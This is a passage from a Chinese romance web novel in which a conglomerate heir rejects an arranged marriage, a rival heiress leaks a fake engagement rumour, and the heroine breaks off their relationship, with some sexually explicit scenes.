霍冠良抬着眉眼：“有能力是好事，可商业圈从来都不适合单打独斗，扩展人脉也是一种能力。”
霍今然微颔首：“父亲不必多说了，我是不会同意联姻的。”
说完，霍今然转身，朝着门口走了过去。
霍冠良还坐在位置上
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，望着他桀骜不羁的背影，从前还算内敛听话的小儿子早已不复存在，如今倒像是脱缰的野马，很难再掌控。
直到门关上，霍冠良都没收回视线。
走出书房，刚下了楼，霍今然还没走出别墅，就跟大房太太家的二少霍志霄撞了个正着。
见霍今然没停下脚步，霍志霄就直接上前挡在了他面前：“怎么见了二哥都不打声招呼？”
当初霍氏集团新一任总裁竞选时，这位二哥霍志霄，是霍今然最有力的竞争对手。
他几乎是只身一人，对抗霍志霄连同大房太太那边的亲戚。
也是那次对抗时，他差一点就因为他们一伙人卑劣的手段，送上性命。
霍今然眼眸清凉的望着眼前的这位二哥：“二哥向来都不喜欢我，甚至恨不得我死，何必讨嫌。”
霍志霄冷笑了声，他微探身，贴近霍今然，在他耳边道：“你别得意，迟早有一天，我会拉你下来。”
霍今然微撩眼尾，视线落到霍志霄的身上，像是在看墙上的一抹污迹，嫌弃，却也懒得抹掉。
他没什么语调的轻吐出两个字：“凭你？”
丢下这两个字，霍今然懒得再理会，他抬脚，带着高虎走出了别墅。
上了车，霍今然勾松了下领带，他偏头望了一眼那边的别墅。
霍冠良今天弄这一出，明面上是在给他安排联姻，暗地里也是在试探他的忠诚度，恐怕也是耳闻了他在组建新的团队。
今天他这样拒绝霍冠良，也算是摊到明面上了，他不想再受这个父亲的掌控了。
但依着霍冠良固执的性子，老爷子应该不会就此罢休，也不知后面又会搞出什么幺蛾子。
霍今然不动声色的垂下了眼眸，视线没什么焦点的望着座位与前排的空隙，想到刚才在门口碰到霍志霄，他心里又跟着团起一阵郁气。
手机响起一阵铃声，是新微博发布的提示音。
霍今然从口袋里掏出手机，瞅了一眼，果然是桑柠发了个新的微博。
刚刚面色还笼着一层愁云，这一下，他的眉眼就弥漫上了不自知的笑意，他解锁，点开了微博。
——吃到了喜欢的冰激凌，好甜，今天也是超快乐的一天~[嘻嘻.jpg]
——希望今天的某个人也能跟我一样快乐~[猪头.jpg]
霍今然单肘撑窗，他低垂着眉眼，长指抵在唇边，却也挡不出从唇边不自禁漫出的笑意。
望着屏幕上那个粉色的emoji猪头表情，想到桑柠打出那个表情的模样时，他心里就软化一片。
不过一瞬，就覆盖了刚才盘旋在他心底的那团郁气。
像是在无意中，桑柠那么一条稀疏平常的微博，却隔空安慰到了他。
还以为他早就已经习惯了，父亲对他的漠不关心，其他兄弟姐妹对他无端的恶意。
自母亲离世后，只他一个人对抗霍家的种种，冷言嘲讽听得多了，他便也习惯了，也就不当回事了。
可原来人只有在被安慰到时，才知他也是委屈的。
撑得久了，他也会累。
总算庆幸的是，老天爷将桑柠意外的送到了他的身边，像礼物一样。
11. 11
转眼进入八月，立秋过后，天气依然燥热。
大半个月过去，之前联姻的事，霍今然都没再听霍冠良提起过，还以为这件事就过去了，但那天中午，他从外面回到集团时，在门口撞见了前来找他的褚晚柠。
以前霍今然跟褚晚柠在同一个私立学校就读过，他比她年长两岁，之前两家就有生意来往，逢年过节也会撞见。
但交情并不深。
至少在霍今然这里，他印象里，只见过褚晚柠几次，却没怎么接触过。
在集团门口撞见时，霍今然甚至都没认出褚晚柠，还是她主动朝他唤了一声：“今然哥哥！”
霍今然偏头望了过去，褚晚柠一身粉格子套装，黑色长发，齐刘海。
褚晚柠跑到了他身边：“好久不见，今然哥哥。”
走近了，褚晚柠感觉到霍今然落到她身上的视线冷冷清清的，没半点起伏。
她眼中炽热的火焰，刚一撞进他寒如冰的眸子，便扑簌簌的熄灭了。
看霍今然没什么反应，褚晚柠莞尔一笑：“怎么，不记得我了么，我是褚晚柠呀。”
霍今然低垂眼眸，望了一眼褚晚柠伸过来的手，他没从口袋里抽出手，只是微抬眼皮，望向她：“褚小姐找我有事？”
褚晚柠讪讪的收回了手：“没事不能来看看你么？”
霍今然轻撩眼尾，扫过褚晚柠一眼，便转身朝前走去。
“诶，等一下！”褚晚柠跑过去，她张开手，挡在了霍今然的面前，依然热情道，“干嘛急着走啊，我只是跟今然哥哥开个玩笑。”
瞧着霍今然突然停下来，身后的唐志诚也不禁来了个急刹车，他有些不快，瞅了一眼褚晚柠。
褚晚柠还挡在霍今然的面前：“今然哥哥，请我去喝杯咖啡吧，我有事想跟你说。”
霍今然面色沉凉：“有事，在这里说。”
“那不行，有外人。”褚晚柠睨了一眼霍今然身后的唐志诚。
唐志诚识趣的跟霍今然讲道：“霍总，我先上去了。”
霍今然轻应了一声，而后他微偏头示意那边的咖啡馆：“去那家。”
说完，霍今然抬脚朝着那家咖啡馆走了过去。
褚晚柠背着手，她双眼满含爱慕的紧盯着霍今然的背影，跟在了他身后。
中午的咖啡馆人不多，霍今然随便选了个落地窗的位置，褚晚柠跟着他一起落座了下来。
点完咖啡，霍今然直接道：“褚小姐，有什么事，直说吧。”
“好吧，我也不耽误今然哥哥的时间了。”褚晚柠望着他，接着道，“我这次过来，就是想当面问一下你，为什么要拒绝跟我的联姻呢？”
霍今然没什么表情的望着褚晚柠：“我父亲没跟你们褚家说明原因么？”
褚晚柠突然支支吾吾道：“有说的，说你现在有女朋友，不过又不是结婚对象，我可以等你分手的。”
“再说了，你那个女朋友能给你带来什么帮助……”
……
霍今然低着眼眸，伴着褚晚柠的话，他拿出手机，瞅了一眼。
手机屏幕上冒出好几条新消息，都是来自他们四人小群里的。
宋觉扬：然哥，你艳福真不浅啊！
宋觉扬：这小作家的身材也太尼玛带劲了！
陆寒笙：操，你吵着哥眼睛了。
方斯舟：你怎么又讨论然哥的女朋友？
宋觉扬：不是，这都上热搜了，不就是让人讨论的么。
宋觉扬：我搞不来那个视频，等着，我截图，马上啊！
不过半分钟，宋觉扬发来几张照片，都是桑柠穿着那套镶满水钻的比基尼。
霍今然冷脸捧着手机，敲出几个字：照片哪儿来的？
宋觉扬：热搜啊，然哥你小女友上热搜，你不知道啊。
宋觉扬：不是然哥推上去的，那就是人小作家凭着三围自己爬上热搜的。
方斯舟：赶紧把照片都撤回去。
陆寒笙：这傻逼。
宋觉扬：？
……
“至少我们褚家有那个实力，可以在事业上助你一臂之力，她能么？”
霍今然抬眸望向了对面的褚晚柠，淡如水的眸子却比之刚才还要冷冽：“你给我的，我都不需要。”
“那你需要什么？”
霍今然长指轻触侧键，黑了手机屏幕，他起身，低着眼眸：“与你无关。”
丢下这几个字，他清淡的睨了褚晚柠一眼，便抬脚离开了。
褚晚柠都还没来得及起身追过去，就看到霍今然已经大步走出了咖啡馆，转瞬他的背影就消失在了她的视线里。
瞧着霍今然冷漠的背影，再想起从刚才见面，他就一直冷冷淡淡的，褚晚柠心里一阵憋屈。
她喜欢霍今然很久了。
还以为是一个浪漫的童话故事，可以跟暗恋的人结婚，可到头来，现实却是她偷偷迷恋了许久的crush原来早已经有了喜欢的人。
褚晚柠有些不甘心，明明是她先喜欢霍今然的，还差一点就能跟他结婚了，却偏偏半路杀出来个程咬金。
她越想越不服气。
电话在这时想起，褚晚柠从桌上拿起手机，看是好朋友的，她直接接通了电话：“有事说。”
“干嘛啊大小姐，发这么大的脾气。”
褚晚柠不耐烦道：“心烦呢，到底有什么事，你快说。”
“你上次让我查的霍今然的女朋友，查出来了，网文作者桃夭，现实名字桑柠。”
“有照片么？”
“她现在就在热搜上，你自己可以看。”
挂断电话，褚晚柠直接打开微博，看了一眼热搜。
前排高位：#桑柠比基尼#
一个网文作者怎么整的跟个明星似的，做作。
褚晚柠点开热搜，瞅了一眼，看到视频里的桑柠，竟比之一些明星还要美艳，身材好的着实让人嫉妒。
却也令她反感。
想到霍今然因为一个普通的网文小作者，而拒绝像她这样的名媛千金，褚晚柠看桑柠就越发不顺眼起来。
褚晚柠从包里掏出另一个手机，她点开信息，给一个陌生号码发过去一条短信：拍到了吗？
那边很快回她：拍到了。
一回到办公室，霍今然就叫来了唐志诚：“撤掉桑柠的热搜。”
唐志诚摸到手机，点开微博，看了一眼，桑柠的那条热搜还在高位。
“网上的视频，还有照片，也不要让我再看到。”霍今然又吩咐了一句。
趁他说话的工夫，唐志诚点开了那条热搜，刚进入网页，置顶的视频就开始了自动播放。
瞧着视频里桑柠美艳的样子，唐志诚手一哆嗦，紧忙又退出了网页。
难怪霍总会这么在意。
没有哪个男人，愿意让其他人看到自己女人如此妩媚的样子。
“好的，霍总，我这就照办。”唐志诚握着
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手机转身就要朝门口走去。
“等一下。”
唐志诚停下脚步，又转过了身：“霍总还有什么吩咐？”
“跟桑柠有关的照片，也不许出现在杂志上。”霍今然冷冷淡淡的丢过去一句话。
唐志诚微点头：“明白，霍总。”
此时，正处于讨论漩涡的主人公桑柠，正窝在家里收拾房间。
她还没顾得上登录微博，也还不知道她已经上热搜这件事。
还是连歆语在微信里告知她的：桑柠，你快去看，你上热搜了。
桑柠捧着手机，她一个网文小作者，这上热搜的频率都快赶上娱乐圈的女明星了。
她点开微博看了一眼，看到是之前她拍杂志的预告视频，还是那套。
被霍今然一晚上折腾了好几次的比基尼的妆造。
还记得那天早上醒来，她腿都是软的。
“……”
桑柠：热搜怎么撤下来呀？
连歆语：你疯了，这么好的热度，白给的都不要？
桑柠：不要。
连歆语：怕你家霍今然吃醋啊。
桑柠：你不懂。
男人的angrysex，真不是一般人能承受得住的。
正走神时，手机突然又响起新消息的提示音，桑柠回神，低眸看向了屏幕。
连歆语：等一下，你快去看，我这边热搜好像已经没了。
桑柠紧忙切换到微博，刷新了下热搜，刚才有关她的热搜还在前排，这会儿已经刷不到了。
甚至。
网页上关于比基尼的搜索词条，以及照片，视频都统统搜不到了。
仿佛从来都没存在过似的，一下子都消失无影了。
很快，连歆语又给她发来两条微信。
连歆语：我们杂志官微的那条微博权限了，刚才我们主编说，你那套比基尼妆造不合适，要你重新拍一套。
连歆语：完了，你男人真生气了。
“……”
桑柠没再回复连歆语，她指尖轻划屏幕，切换到了跟霍今然的聊天对话框。
望着他的头像，桑柠迟疑的输入一行字：你是不是又生气了？
输完，还没来得及发出去，手机突然响起来电铃声，这毫无预兆的一声，惊得桑柠差点将手机丢出去。
桑柠瞅了一眼，来电显示是霍今然。
她深呼吸了下，接通了电话：“喂，怎么突然给我打电话，你是不是想我了？”
桑柠假装明朗的避开了热搜的事情。
“在干嘛？”霍今然低凉的声音响起，却没应她的话。
桑柠握着手机：“在收拾房间。”
“晚上在家等我，忙完我过去找你。”
“……”桑柠咬了下唇，温吞道，“我来大姨妈了，不方便。”
电话那端的霍今然似是沉默了下，很快他低沉磁性的声音再次响起：“骗我的话，后果能承受的住么。”
听到霍今然这样说，桑柠的脑海里瞬时浮现起，那天夜里她被他箍在怀里，在床上，在书桌前，在落地窗边，翻来倒去反复被他教训的画面。
历历在目。
桑柠服了软：“知道了，你晚上过来吧，门禁卡，密码反正你现在都知道了，直接进来就行，我洗干净，在床上等你。”
那边的霍今然似是呵笑了声，音色发哑，却格外的迷人：“这么乖，晚上好好奖励你。”
“……”
12. 12
霍今然的一句忙完了过来找她，也没个准数，桑柠一直等到半夜十一点，却迟迟都没等来他。
明明答应好的，可他又忙的顾不上她这边了。
夜色越来越深，桑柠等的有些不耐烦了，她捧着手机，用指尖重重地敲打着屏幕，没好气的在微信上催了霍今然一句：还要等多久，要是太晚，你不用过来了。
桑柠：我要睡了。
门外，已经赶过来的霍今然，收到桑柠的这条微信，他停了下来，懒懒的倚着墙。
不敲门，也不输密码，而是故意回了桑柠一条信息：快了，马上就到。
回完，霍今然还站在那里，他单手拖着手机，将燃到一半的烟送到了嘴里，抽了一口。
桑柠：马上是多久，十分钟，还是半小时？
桑柠：你个大骗子，我才不信你呢。
青白的烟气弥漫，霍今然的眼底也跟着覆上笑意。
他将烟咬到嘴边，捧着手机，又故意逗了桑柠一句：等不及了？
桑柠没理他。
半晌，霍今然听见从屋里传来脚步声，跟着他又收到桑柠发来的信息：我改密码了，你别过来了，来也不让你进门。
瞧着小女友真生气了，霍今然拿掉嘴边的烟，他倾身离开墙面，刚走到门口，要输入密码时，那边就传来了桑柠更改密码锁的声音。
她当真将他锁在了外面。
“……”
霍今然轻啧了声，给桑柠发过去信息：乖了，开门，我在外面。
桑柠：不信。
看桑柠不信他，霍今然只好收起手机，敲了敲门：“没骗你，给我开门。”
桑柠双臂抱胸的站在门口：“不开。”
“行，那我走。”霍今然悠然倚着墙，他望着暗红色的木门，凉凉的丢过去一句。
屋外突然没了动静声。
霍今然像是真的离开了。
桑柠心神一松，她走过去，压下门把，打开了门。
还以为楼道已经空了，打开门，却意外的看到了还站在门口的霍今然。
半夜灯光昏暗的走廊里，霍今然懒懒的倚着墙，他穿着深蓝色的衬衫，灰色的西装裤，黑皮鞋，领带勾的松松垮垮的，少了些白日里位居高位的总裁的压迫感，这会儿倒像是个旧时吊儿郎当的公子哥。
霍今然眼眸清凉，却勾着一股坏：“舍不得我走？”
桑柠没理他，瞪了他一眼，刚要耍脾气关门，却被霍今然伸腿挡住了。
他站在那里，像个无赖：“弄伤了，心疼的可是你。”
“我才不会心疼你呢。”桑柠赌气道。
说完，她转身就朝屋里走去。
霍今然视线落在她身上，打开门，走了进去，望着她气呼呼的小背影，他故意逗了她一句：“真不心疼？”
桑柠忽地转身，埋怨他：“那你有心疼过我么，每次都让我等这么久，本来可以开开心心的，等到现在，什么兴致都没了。”
她越说越气：“我没心情跟你做了，我要睡觉。”
说完，桑柠转身朝着卧室走去。
霍今然没吭声，他眼里勾着笑，望着桑柠走过去的背影，而后他转身，指间还夹着燃尽的烟头，朝着洗手间走了过去。
桑柠走进卧室，她坐到床边，从外面传来了洗手间花洒喷出的水声，刚才还生气，这会儿心里却又隐隐有了期待。
离上次跟霍今然做丨爱，也差不多是半个月前了，那一次之后，两个人都很忙，一直都没见上面。
今天晚上好不容易跟他见面了，还是不要跟他发脾气了。
桑柠起身，打开那边抽屉，她想拿安全套的，却发现盒子里，只剩下一个了。
她忘记买新的了。
一个肯定不够。
那边洗手间没了声响，霍今然应该是洗完了，很快就看到他围着一条浴巾，走了过来。
桑柠拿着盒子，给他看：“就剩一个了，要不要再去买一些。”
霍今然走过来，他坐到床边，将桑柠抱起：“不是不想跟我做？”
桑柠搂着他的脖子，看他头发还半湿着，有一种别样的性感：“刚才是这么想的，不过好不容易见一面，又想跟你做了。”
浴巾滑落。
跟他做了很多次，但每次都是直接进入主题，她还从来没这样明目张胆的看过他的身体。
卧室没开灯，只有从客厅透过来的一小片光亮，笼亮小半个房间，忽明忽暗的光影里，桑柠似是看到了一个完全陌生的地带。
坚实，张狂，带着男人独有的野性。
只一眼，就烧的她脸上一阵燥热。
她微微吞咽了下，抬眸，附身过去，一下下的轻啄着霍今然的脸：“一个肯定不够，怎么办。”
霍今然冷淡的眸子里染上一丝玩味：“那我们玩点别的。”
屋子里灯光暗昧。
霍今然还坐在那里，眼底覆满欲望，他微探身，贴过去，在她耳边好似恶魔低语般蛊惑她：“吻下去。”
桑柠娇媚的嗯了一声，她很听话的吻了下去。
窗外夜色静谧，只剩夏夜的虫鸣声不绝于耳。
桑柠还跪在地毯上，她做了这么多年从未体验过的事，很羞耻，却也很刺激。
快接近尾声时，霍今然的手掌覆到桑柠的后脑勺上，压着她。
呛的她眼角瞬时冒出泪花来。
还未来得及感受，嘴里一空。
桑柠都没喘息的机会，紧跟着又是一阵暴风雨般肆意疯狂的掠夺，她好似片叶子般在风雨中摇摇欲坠，不停的颤抖，久久都未平息。
已至后半夜，桑柠赖在霍今然的怀里，还不想睡。
“不睡觉，就一直搂着我？”
“嗯，想跟你聊聊天。”
霍今然轻抚着她的手臂：“想聊什么？”
“八月你生日快到了，你想怎么过呀？”桑柠问道。
原本她想偷偷策划个生日会，给霍今然
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一个惊喜的，可他太忙，她也不知道他那天的行程，怕是一场空，也便打消了这个念头。
“我快生日了么？”霍今然冷不丁问了这么一句。
桑柠从他怀里抬起头：“你生日都记不得呀？”
霍今然从床头柜上拿过烟盒，抽出一根，点燃，他吐出烟气：“没在意过。”
“你以前都不过生日么？”
霍今然背靠着床头柜，他指间松散的夹着烟：“嗯，忙的没空。”
桑柠没再问下去，她能感觉到霍今然并不想在聊生日这个话题，于是就直接说道：“你要是不想办生日会，那就我们两个人，一起简单的吃个生日蛋糕，这样行么？”
“再说吧，到时可能要出国。”
“又去国外？”
“嗯，这次可能会久一些。”
桑柠坐在那里，追问道：“那要多久啊？”
霍今然拿过床头柜上的烟灰缸，他轻弹掉了燃尽的烟灰：“可能三个月，也可能半年。”
“这么久啊？”桑柠有些不快道，“我们在一起都还不到半年呢，就要异国恋了么？”
霍今然单手捧着她的小脸，指腹摩挲着她光滑的皮肤：“那边公司有事，不得不去。”
桑柠扁着小嘴哼了声。
霍今然继续安抚她：“你有空，可以飞过去找我，那边好玩的地方也很多。”
“你有时间陪我玩么？”
霍今然稍顿了下，才回她：“尽量。”
桑柠娇嗔的顶了他一句：“才不信你呢。”
霍今然伸手，环住桑柠的腰，将她搂到了怀里：“那就忍到我回来，忍得住？”
桑柠双手抵在他胸膛，倒是很诚实道：“忍不住。”
霍今然呵笑了声：“总能抽出时间，夜里好好满足你的。”
桑柠咬了下唇瓣，故意气他：“要是满足不了，我就找别的男人。”
霍今然捏起她的下巴：“你试试。”
桑柠撇开他的手，转身靠在了他怀里：“以为我真不敢么，谁让你老是顾着工作，不理我，马上要去国外了，现在才告诉我。”
霍今然把玩着她的手指：“临时决定的。”
“那也应该第一时间告诉我。”桑柠转头，又问道，“你还有没有其他事瞒着我？”
霍今然低垂着眼眸，跟桑柠对视时，他脑海里忽得闪现之前霍老爷子给他联姻，还有褚晚柠过来找他的事。
但不过一瞬，霍今然就将这些事撇到了一边，并不值得再提起。
他也怕桑柠知道后会胡思乱想。
霍今然偏头，抽了一口烟，而后他将燃到一半的烟，碾灭在了烟灰缸里：“别乱想，没别的事。”
说完，他将桑柠搂到了怀里。
不过一念之差，霍今然就将联姻的事藏了起来，还以为不值得一提，过去也就算了。
可霍今然万万没想到，后来竟还是因为联姻这件事，令他跟桑柠之间产生了隔阂。
13. 13
那天晚上跟霍今然见过面之后，桑柠就很难再见他一面了。
他看起来很忙的样子。
一直到八月中旬，二十号霍今然生日那天，桑柠才总算能见到他。
但也只有中午跟他一起吃块蛋糕的时间，那天下午他就要飞往国外了。
为了这一面，桑柠起了个大早，精心装扮了一番，怕之前订的蛋糕不能及时送过去，她就亲自去店里领取了蛋糕。
那家来自意大利的蛋糕店位置有些偏，怕不好找，桑柠就约了辆私家车。
到了那里，有个斜坡车开不进去，需要走一段路。
上午的日光暴晒，拎着蛋糕走出店，朝路边走去时，还没走几步，桑柠就觉得身上生了汗。
踩着高跟鞋，下了斜坡，桑柠停下来，歇了会儿，光脚穿高跟鞋有些磨脚，她只觉后脚跟那里火辣辣的疼。
早知道要步行这么远，她应该备一双平底鞋的。
拎着蛋糕上了车，桑柠给霍今然发了条微信：蛋糕我取回来了，你到酒店了吗？
霍今然：在收拾行李，你直接过来就行。
霍今然：怎么不让蛋糕店送货上门？
桑柠：我怕他们不能及时送过去，所以我就亲自去取了。
桑柠：我很贴心吧。
霍今然：嗯，乖。
回完，霍今然将手机放到了一边，刚好唐志诚走了过来：“霍总，文件都收拾好了。”
“嗯，明天几点的会议？”
“上午十点，早上我们五点到，赶得及。”唐志诚回道。
本来可以改签昨天飞走的，这样到了国外，霍今然还可以有一天的休息时间，但为了能跟桑柠一起过生日，他还是决定今天下午飞。
半个小时后，司机将桑柠送到了金缦丽酒店楼下。
霍今然的助理单羽已经等在了路边，将桑柠接到了楼上。
乘坐电梯时，桑柠随口问了单羽一句：“你家霍少为什么一直住在这家酒店呀？”
“因为方便。”单羽帮忙拎着蛋糕，回道，“这里离集团很近，而且在市中心，去哪里都方便，所以霍少就长期在酒店包了个套间。”
“哦，原来这样。”
将桑柠送到房间，单羽就离开了。
霍今然正在打电话，很忙的样子，桑柠也没打扰他，她将蛋糕拎到了琉璃台上。
之前订做蛋糕时，桑柠特意要求蛋糕空了一片，她想自己加一行字。
拆掉蛋糕的包装，她拿出一袋红色的鲜奶油，弯着腰，往蛋糕上喷了一行字：Loveyou.Forever.
包包里的手机突然传出微信新消息的提示音，桑柠将那袋奶油放到一边，她从包里掏出手机看了一眼，是连歆语给她发过来的信息。
连歆语：什么情况？
连歆语：你跟霍今然分手了？
桑柠捧着手机，一头雾水：？
桑柠：没有啊。
桑柠：我正在他这边，给他过生日呢，谁说我跟他分手了，我们好着呢。
那边连歆语没了动静，不过很快，她就给桑柠打过来了电话。
“姐妹，你听我说，不管发生什么事，我永远都会站在你这边，为你撑腰。”
桑柠还是觉得莫名奇妙：“你有话直说吧，到底发生什么事了？”
“行，反正你知道有我在就行，我给你截个图。”连歆语挂断了电话。
很快，桑柠就在微信上收到了，连歆语给她发来的一张截图。
是微博的热搜。
——#霍今然褚晚柠联姻#
看到那张截图，桑柠难以置信，她缓缓抬头，望了一眼那边还在打电话的霍今然。
只那么一眼，她突然觉得眼前的这个男人有些陌生。
桑柠怔在那里，她又缓缓的垂下眼眸，指尖轻触屏幕，打开了微博。
那条热搜还挂在上面。
到此时，桑柠其实还是不相信的，可能是某个八卦杂志乱编的绯闻，毕竟豪门圈跟娱乐圈一样，各种恩怨八卦被很多人津津乐道。
直到点开热搜，看到那张照片，霍今然跟所谓的联姻对象褚晚柠面对面，坐在一家咖啡馆里，像是在聊天。
他对面的褚晚柠笑的很幸福的样子。
实时热搜的评论里，到处都是网友的祝福。
——好般配，男帅女美，真是豪门圈的一对金童玉女。
——我超爱这种强强联手的豪门婚姻，结婚后能不能多发糖啊！！
——两个人长得比那些明星还好看，不敢想他俩以后的孩子该多漂亮。
……
网上的每一句祝福都好像一根根冰锥子，准确无误的都扎在了桑柠的心口处，一时间，她难过的差点呼吸不上来。
很喜欢的那个人，想要跟他长长久久的那个人，那么珍惜与他每一次见面的那个人。
却没那么喜欢她。
还背着她去跟别的女生见面。
不管是什么原因，在他答应去见那个女生时，他就已经背叛她了。
眼泪终于像断了线的珠子，顺着她的脸颊簌簌的流了下来，没有哪一刻，会比此时此刻还要令她觉得委屈。
霍今然收起电话，走过来时，看到桑柠的样子，他有些讶异道：“发生什么事了，嗯？”
桑柠抬起头，在看向霍今然的那一瞬，眼泪又止不住的划过她的脸庞，她哽咽的问他：“你有没有背着我去见别的女生？”
听到桑柠这样问，霍今然的神色在一瞬间有些恍然，他微抬眼皮：“怎么突然这样问？”
他没否认。
也没第一时间跟她解释。
桑柠垂下眼眸，余光瞥见桌上的蛋糕，看到她刚才挤出的一行字，刚才还满心欢喜拼出的Forever，现在只觉讽刺。
仿佛一根长满刺
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的藤条似的抽打在她的脸上，火辣辣的疼。
桑柠握紧手机，她已经极力克制了，可心里的委屈愤怒，在看到她亲自跑去取来的蛋糕时，终于彻底失控了。
她双手猛地将蛋糕推到了地上：“我真是犯贱！”
蛋糕摔到地上，稀碎凌乱了一地。
桑柠拎起包，在霍今然还未有所反应时，她就转身跑出了房间。
“桑柠！”霍今然唤了一声。
桑柠却头也不回的跑出房间，紧跟着就是一声关门响。
很快，门又被打开，唐志诚匆匆走了进来：“霍总，网上突然出现你跟褚家小姐联姻的热搜。”
“撤掉。”霍今然绕过地上的蛋糕，大步朝着门外走去。
外面桑柠已经不见了身影，霍今然追了出去，却在酒店门口被一群记者拦了下来。
他没办法再往前走，只能隔着人群，看着桑柠坐进了一辆出租车，离开了。
“霍先生，网上说您要跟褚家的千金联姻，这个消息是真的吗？”有媒体记者将话题杵到了霍今然的面前。
霍今然冷着一张脸，没应话。
这时，唐志诚跟其他人及时赶了过来。
保镖高虎挡住了那些记者，单羽护着霍今然朝一旁走去。
“网上有关于霍今然先生私生活方面的不时报道，还请各位记者朋友们不要再追究了。”唐志诚站在那群记者前，澄清了一句。
“难道这个热搜不是你们霍氏集团，联合褚氏集团一起发出的吗？”记者咄咄逼问道。
唐志诚镇定自若的站在那里：“抱歉，无可奉告。”
“其实今天这样的热搜，会不会是霍家跟褚家联姻前的预告？”有记者又旁敲侧击道。
唐志诚依然是那一句：“不好意思，无可奉告。”
“……”
霍今然远离人群，他拿出手机，给桑柠拨过去了电话，那边没接，再拨过去，她就关机了。
在这个时候，突然一通电话打了进来，是很早之前加上的褚晚柠的号码。
霍今然接通了电话，没等那边的褚晚柠说什么，他就直接质问道：“你搞出来的事？”
“是，我搞的，我就是不甘心，你不选我，偏要选那个小作家。”褚晚柠在电话那端毫不避讳的说道，“而且这件事霍老爷子也支持我。”
霍今然冷笑了声：“所以呢，以为这样我就会答应跟你联姻，少做梦。”
“那个小作家有什么好的，她到底哪里能比得上我？”
“你没资格跟她比。”
“就为了那么个小作家，你拒绝跟我们褚家联姻。”褚晚柠在电话里歇斯底里道，“你这么护着她，就不怕我玩死她吗？！”
“行啊。”霍今然语气平淡。
却藏着一股莫名的压迫感，像是褚晚柠在他面前，他就会用利爪将她撕成碎片。
“你碰她一下试试。”
14. 14
挂断电话，霍今然脸色越发阴沉起来。
应付完那些记者，唐志诚走到了他身边：“霍总，那个热搜暂时撤不下来，说是霍老爷子吩咐的。”
霍今然紧握着手机：“那就澄清。”
唐志诚点了下头，看来霍总是真的不想跟那位褚小姐沾一点边。
也是为了不让桑小姐多想，但可惜。
哎。
桑小姐好像真的误会霍总了。
霍今然瞥了一眼，还等在外面的记者：“司机到了么，送我去桑柠那一趟。”
虽然理解霍今然的做法，但眼下却没时间让他再去找桑小姐了。
唐志诚还是以大局为重提醒道：“霍总，来不及了，我们得赶往机场了，不然延误了航班，明天的会议也赶不上了。”
霍今然没说话。
不再说去桑柠那里，也不说去机场。
唐志诚又补充了一句：“霍总，这场会议耽误不得，是您组建新团队的第一场会议。”
那边司机将车停到了门口，有工作人员已经拉着行李箱赶了过来。
时间到了。
他该前往机场了。
上了车，霍今然坐在后排的位置上，他望着窗外的风景，始终没说话。
刚才霍冠良联合褚家对他先斩后奏，在网上放出了他跟褚晚柠联姻的消息，他被两方势力压了一头，连撤掉热搜的机会都没有。
说到底，还不是因为他还没脱离霍冠良的掌控。
当务之急，也只有先丰满他的羽翼，变得更强大，才能更好的保护他喜欢的女人。
刚才没得到霍今然的回答，唐志诚不得不再次追问了一句：“霍总，您现在想去哪儿？”
活落，车子里安静一片。
半晌，霍今然望着车窗外，轻轻的吐出三个字：“去机场。”
车子启动，朝着机场的方向驶去。
另一边，出租车里。
桑柠颓然的坐在车后排的位置，她没什么焦点的望着车窗外闪过的风景，眼睛已经哭得红肿了，可泪水还是不自禁的就溢了出来。
心里也酸涩不已。
那天直到夜里十一点多，她都没等来霍今然哄她，他应该已经乘坐航班，飞往国外了。
跟她比起来，还是他的工作最重要。
哪怕她都要离开他了，他却一点都不紧张，也不在乎她是不是受了委屈。
桑柠就连埋怨他的机会都没有。
以霍今然在京城的地位，以及不凡的气质长相，想跟他联姻的人，估计数都数不来，就算不跟褚晚柠联姻，京城还有很多名媛。
他的选择太多，又怎么会视她为唯一呢。
跟她在一起的这段日子，对他这样的人来说，不过就是调味剂罢了，可有可无，甚至不过就是逢场作戏的一场艳遇而已。
是她认真了，所以输的彻底。
那天之后，桑柠拉黑了霍今然的微信，也断了跟他所有的联系，与他形同陌路人。
就像那天桑柠离开时，乘坐的出租车，跟霍今然前往机场的路线，是完全相反的方向。
大路两边，各奔东西。
像是两条平行线，因一场因缘际会，彼此相识相知，又短暂的相爱。
在交叉点过后，又朝着不同的方向，渐行渐远了。
北方的秋天很短暂，转眼进入十月，临近月底时，气温降低，夜里开始有了寒意。
时间过得很快，从八月到十月，不过眨眼之间，桑柠就已经离开霍今然将要三个月了。
一段关系断联三个月，也差不多就是彻底缘尽了。
白日里，桑柠跟那些姐姐妹妹说说笑笑，像从前一样，仿佛霍今然从未闯入她的世界里。
只是夜里，却有些难捱。
跟他分手过于仓促，不是因为不喜欢他了，反倒是太喜欢，就这么分了，桑柠到底是不甘心的。
再次听到霍今然的消息，是临近十月底的傍晚，桑柠正跟着连歆语参加一场宴会。
Afterparty上，桑柠独自坐在沙发的角落，慢慢浅酌着手里的一杯香槟。
就是在这时，她听到了旁边人的对话。
“诶，我听我朋友说，霍今然从国外回来了，不知道他跟褚晚柠的联姻，还会不会继续了。”
“得了吧，霍今然那边当天不是辟谣了么。”
“这年头辟谣还能信么，只不过消息放早了而已，没准过不了多久，霍今然会亲自官宣呢。”
……
桑
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柠垂着眼眸，没什么焦点的望着地上光怪陆离的暗影，还以为过去了三个月，时间够久了，她已经完全能消化掉霍今然联姻的那件事。
可再听人提起，她心里还是会涌起一股酸胀感。
跟霍今然分手时的那些不甘心，也开始在她心里横冲直撞，惹得她好不烦躁。
旁边有人落座了下来，还以为是连歆语，望过去时，却看到是一个穿着西装的陌生男人。
桑柠轻睨了一眼，没搭话。
“Hi，宴会开始我就看到你了，认识一下。”西装男人伸过手，继续道，“霍森洋。”
桑柠原本没想着搭理，但听到那男人跟霍今然一个姓时，她眼睫微颤，转头，伸过去了手：“桑柠。”
霍森洋握着她柔弱无骨的纤纤长指，喉结不自禁微滚动了下：“名字很好听。”
桑柠勾了下唇：“谢谢。”
不远处，正在跟熟人攀谈的连歆语朝桑柠那边望了一眼，看她跟一个陌生男人聊的欢实，怕是喝醉了。
连歆语有些担心，刚走过去，想拉着桑柠离开，却看到她挽着那个男人离开了Party。
“桑柠！”连歆语唤了一声。
桑柠却没理会，甚至都没转头看她一眼。
“歆语姐，主编找你。”
连歆语都还没来得及追过去，就被助理叫住了，她摆了摆手：“知道了，我等下过去。”
她掏出手机，给桑柠发了条微信：你发什么疯呢，那个男人是谁啊？
桑柠：刚认识的，聊得还不错，想去酒吧继续聊。
连歆语：行，你等下把酒吧地址发给我，我忙完去接你。
桑柠：不用，我自己能回去。
